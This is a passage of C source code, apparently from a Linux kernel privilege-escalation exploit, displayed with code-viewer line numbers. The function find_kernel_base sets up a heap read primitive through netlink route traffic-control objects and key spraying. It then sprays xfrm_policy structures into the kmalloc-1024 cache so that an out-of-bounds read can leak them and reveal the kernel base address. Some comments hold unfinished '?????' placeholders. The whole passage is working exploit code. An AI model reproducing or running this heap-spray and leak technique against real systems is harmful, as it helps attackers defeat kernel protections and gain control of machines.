| 1472 | } |
| 1473 | |
| 1474 | u64 find_kernel_base(void) |
| 1475 | { |
| 1476 | // 1. prepare heap read data |
| 1477 | printf("[1-1] prepare heap read data\n"); |
| 1478 | struct heap_read_primitive heap_read_primitive = {}; |
| 1479 | heap_read_primitive_init( // socket(NETLINK_ROUTE) & bind() |
| 1480 | &heap_read_primitive, |
| 1481 | "rb_tree", |
| 1482 | 0xAAAA0000, // rb_tree_interface_qdisc_A_handle |
| 1483 | 0xBBBB0000, |
| 1484 | 0xCCCC0000, |
| 1485 | 0xAAAA0000 | 0xAAAA, // rb_tree_interface_classid_A |
| 1486 | 0xAAAA0000 | 0xBBBB, |
| 1487 | 0xAAAA0000 | 0xCCCC, |
| 1488 | 0xAAAA0000 | 0xDDDD, |
| 1489 | "keyA", |
| 1490 | "keyB", |
| 1491 | 16, |
| 1492 | "keyspray" |
| 1493 | ); |
| 1494 | // 2. prepare parameters for spraying `xfrm_policy` in kmalloc-1024 // 用于 OOB read 时泄露 xfrm_policy 结构 |
| 1495 | printf("[1-2] prepare parameters for spraying `xfrm_policy` in kmalloc-1024\n"); |
| 1496 | struct xfrm_policy_netlink_params params = {}; |
| 1497 | inet_pton(AF_INET, "192.168.1.100", &(params.sel.daddr.a4)); // ????? change ????? |
| 1498 | inet_pton(AF_INET, "192.168.1.1", &(params.sel.saddr.a4)); |
| 1499 | params.sel.dport = htobe16(4444); |
| 1500 | params.sel.dport_mask = htobe16(0xFFFF); |
| 1501 | params.sel.sport = htobe16(3333); |
| 1502 | params.sel.sport_mask = htobe16(0xFFFF); |
| 1503 | params.sel.family = AF_INET; |
| 1504 | params.sel.prefixlen_d = 32; |
| 1505 | params.sel.prefixlen_s = 32; |
| 1506 | params.sel.proto = IPPROTO_UDP; |
| 1507 | params.sel.ifindex = 1234; |
| 1508 | params.sel.user = 1234; |
| 1509 | params.lft.soft_byte_limit = ~0UL; |
| 1510 | params.lft.hard_byte_limit = ~0UL; |
| 1511 | params.lft.soft_packet_limit = ~0UL; |
| 1512 | params.lft.hard_packet_limit = ~0UL; |
| 1513 | params.lft.soft_add_expires_seconds = 0; |
| 1514 | params.lft.hard_add_expires_seconds = 0; |
| 1515 | params.lft.soft_use_expires_seconds = 0; |
| 1516 | params.lft.hard_use_expires_seconds = 0; |
| 1517 | params.priority = 0xCAFEBABE; |
| 1518 | params.dir = XFRM_POLICY_OUT; |
| 1519 | params.action = XFRM_POLICY_BLOCK; |
| 1520 | params.xfrm_mark.v = 0xCAFEBABE; |
| 1521 | params.xfrm_mark.m = 0xCAFEBABE; |
| 1522 | // alloc `xfrm_policy_spray->params` |
| 1523 | u32 xfrm_policy_spray_count = 32 * 2; // ????? 32 * 5 |
| 1524 | struct xfrm_policy_spray xfrm_policy_spray = {}; |
| 1525 | xfrm_policy_spray_init(&xfrm_policy_spray, xfrm_policy_spray_count); // socket(NETLINK_XFRM) |
| 1526 | // init `xfrm_policy_spray->params` |
| 1527 | for (u32 i = 0; i < xfrm_policy_spray_count; i++) { |
| 1528 | params.if_id = 0xCAFE0000 + i; |
| 1529 | params.index = (0xCAFE0000 + (i << 16)) | XFRM_POLICY_OUT; |
| 1530 | xfrm_policy_spray_insert_netlink_params(&xfrm_policy_spray, ¶ms); |
| 1531 | } |
no test coverage detected